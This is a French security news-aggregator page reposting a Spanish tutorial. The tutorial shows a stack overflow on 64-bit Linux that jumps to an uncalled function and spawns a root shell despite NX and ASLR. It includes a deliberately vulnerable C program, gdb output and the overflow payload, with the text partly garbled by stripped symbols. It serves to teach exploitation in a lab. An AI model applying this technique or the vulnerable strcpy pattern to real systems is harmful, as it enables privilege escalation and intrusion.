|
|
Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Présentation : Hola Exploiters, Acabo de leer esta excelente entrada sobre ROP y me anime a simplificarla quitandole lo mas divertido que es el ROP. Simplemente para tener presentes conceptos que quizas se pasan por alto como que NX no afecta si queremos desviar el flujo del programa hacia por ejemplo una funcion perteneciente al programa a explotar aunque el propio programa no la llame nunca . Es una explotacion en un sistema Linux de 64 bits con kernel reciente blablabla y como veis existen condiciones en las que ASLR no afecta para nada no infoleaks needed, no bruteforce needed... como si no existiera . A disfrutar. root bt uname -a Linux bt 3.2.6 1 SMP Fri Feb 17 10 34 20 EST 2012 x86_64 GNU Linux root bt cat etc issue BackTrack 5 R3 - 64 Bit n l root bt getconf LONG_BIT 64 root bt cat proc sys kernel randomize_va_space 2 root bt bash checksec.sh --file vuln RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln root bt cat vuln.c include include include gcc -o vuln vuln.c fno-stack-protector -mpreferred-stack-boundary 4 4 is min on x64 void nunca_se_ejecuta NUNCA SE LLAMA ESTA FUNCION EN EL CODIGO system bin sh printf The Segmentation fault is what we wanted to see and we dont care so you may play a ret2libc with a chain to an exit call void vuln char buff char tmp 8 ' 0' strcpy tmp, buff printf - pourcentssn , tmp int main int argc, char argv if argc 2 printf pourcentss n , argv 0 exit 0 printf exploit me if you can vuln argv 1 return 0 oot bt gcc -o vuln vuln.c -fno-stack-protector -mpreferred-stack-boundary 4 root bt gdb -q vuln Reading symbols from root vuln... no debugging symbols found ...done. gdb r perl -e 'print 123456789012345678901234AAAA ' Starting program root vuln perl -e 'print 123456789012345678901234AAAA ' Program received signal SIGSEGV, Segmentation fault. 0x0000000041414141 in gdb disas nunca_se_ejecuta Dump of assembler code for function nunca_se_ejecuta 0x0000000000400604 push pourcentsrbp 0x0000000000400605 mov pourcentsrsp,pourcentsrbp 0x0000000000400608 mov 0x4007c0,pourcentsedi 0x000000000040060d callq 0x4004f8 0x0000000000400612 mov 0x4007c8,pourcentseax 0x0000000000400617 mov pourcentsrax,pourcentsrdi 0x000000000040061a mov 0x0,pourcentseax 0x000000000040061f callq 0x4004c8 0x0000000000400624 leaveq 0x0000000000400625 retq End of assembler dump. gdb r perl -e 'print 123456789012345678901234 x04 x06 x40 x00 ' The program being debugged has been started already. Start it from the beginning y or n y Starting program root vuln perl -e 'print 123456789012345678901234 x04 x06 x40 x00 ' sh-4.1 whoami root sh-4.1 exit Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffe4a8 in gdb q A debugging session is active. Inferior 1 process 20741 will be killed. Quit anyway y or n y root bt Have fun,
Les mots clés de la revue de presse pour cet article : linux bypass
Les videos sur SecuObs pour les mots clés : linux bypass
Les mots clés pour les articles publiés sur SecuObs : linux
Les éléments de la revue Twitter pour les mots clé : linux bypass
Les derniers articles du site " Unix Cisco Hacks " :
- tonel - basic stats checks for stunnel
- Publicada lista de ponentes RootedCON 2013
- Ventanas con Grupo de delitos telemáticos de la Guardia Civil
- NX ASLR Linux x64 Bypass
- Mensaje de Hugo Castellano en RootedCON 2012
- blog2pdf re-uploaded
- como puedo hacer que la victima ejecute netcat sin engañarle para que lo haga de forma manual
- have a nice sunday
- Capture the flag 2013
- Illiterate Ethiopian kids hack OLPCs in 5 months with zero instruction
Menu > Articles de la revue de presse : - l'ensemble [ tous | francophone] - par mots clé [ tous] - par site [ tous] - le tagwall [ voir] - Top bi-hebdo de la revue de presse [ Voir]
Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.190.17.190 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.190.17.190 to any 80"
- Nous contacter par mail
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|
